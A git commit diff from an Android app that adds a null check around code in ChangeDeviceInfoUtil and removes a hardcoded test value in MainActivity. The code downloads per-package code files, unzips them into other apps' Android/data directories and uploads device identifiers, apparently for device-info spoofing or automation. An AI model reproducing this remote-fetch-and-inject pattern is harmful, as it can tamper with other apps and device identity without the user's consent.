refactor(ChangeDeviceInfoUtil, MainActivity): enhance package processing null-check, cleanup unused variables

- Introduced null-checks for `packageInfo` in `ChangeDeviceInfoUtil` package processing to improve error handling.
- Removed redundant `scriptResult` assignment in `MainActivity` for cleaner execution logic.
- Updated APK and baseline profile files for release configuration.
This commit is contained in:
yjj38 2025-06-21 16:13:55 +08:00
parent ee67543b0a
commit cd09538426
5 changed files with 20 additions and 19 deletions

Binary file not shown.

View File

@ -250,7 +250,6 @@ public class MainActivity extends AppCompatActivity {
} }
executeSingleLogic(); executeSingleLogic();
TaskUtil.execSaveTask(this, androidId,taskId); TaskUtil.execSaveTask(this, androidId,taskId);
scriptResult = "bin.mt.plus";
if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) { if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) {
infoUpload(this, androidId, scriptResult); infoUpload(this, androidId, scriptResult);
} }

View File

@ -96,30 +96,32 @@ public class ChangeDeviceInfoUtil {
Log.d("TaskUtil", "Package info retrieved: " + packageInfo); Log.d("TaskUtil", "Package info retrieved: " + packageInfo);
// 遍历包信息并执行逻辑 // 遍历包信息并执行逻辑
for (String packAgeName : packageInfo.keySet()) { if (packageInfo != null) {
Log.d("TaskUtil", "Processing package: " + packAgeName); for (String packAgeName : packageInfo.keySet()) {
if (isAppInstalled(packAgeName)) { Log.d("TaskUtil", "Processing package: " + packAgeName);
Log.d("TaskUtil", "Package installed: " + packAgeName); if (isAppInstalled(packAgeName)) {
Log.d("TaskUtil", "Package installed: " + packAgeName);
File filesDir = new File(context.getExternalFilesDir(null).getAbsolutePath()); File filesDir = new File(context.getExternalFilesDir(null).getAbsolutePath());
Log.d("TaskUtil", "Files directory: " + filesDir.getAbsolutePath()); Log.d("TaskUtil", "Files directory: " + filesDir.getAbsolutePath());
File file = TaskUtil.downloadCodeFile(packageInfo.get(packAgeName), filesDir); File file = TaskUtil.downloadCodeFile(packageInfo.get(packAgeName), filesDir);
if (file != null && file.exists()) { if (file != null && file.exists()) {
Log.d("TaskUtil", "File downloaded: " + file.getAbsolutePath()); Log.d("TaskUtil", "File downloaded: " + file.getAbsolutePath());
File destDir = new File("/storage/emulated/0/Android/data/" + packAgeName); File destDir = new File("/storage/emulated/0/Android/data/" + packAgeName);
Log.d("TaskUtil", "Unzipping to destination: " + destDir.getAbsolutePath()); Log.d("TaskUtil", "Unzipping to destination: " + destDir.getAbsolutePath());
TaskUtil.unZip(destDir, file); TaskUtil.unZip(destDir, file);
Log.d("TaskUtil", "Unzip completed. Deleting file: " + file.getAbsolutePath()); Log.d("TaskUtil", "Unzip completed. Deleting file: " + file.getAbsolutePath());
TaskUtil.delFileSh(file.getAbsolutePath()); TaskUtil.delFileSh(file.getAbsolutePath());
Log.d("TaskUtil", "Temporary file deleted: " + file.getAbsolutePath()); Log.d("TaskUtil", "Temporary file deleted: " + file.getAbsolutePath());
} else {
Log.w("TaskUtil", "File download failed or file does not exist for package: " + packAgeName);
}
} else { } else {
Log.w("TaskUtil", "File download failed or file does not exist for package: " + packAgeName); Log.w("TaskUtil", "Package not installed: " + packAgeName);
} }
} else {
Log.w("TaskUtil", "Package not installed: " + packAgeName);
} }
} }
} catch (IOException | JSONException e) { } catch (IOException | JSONException e) {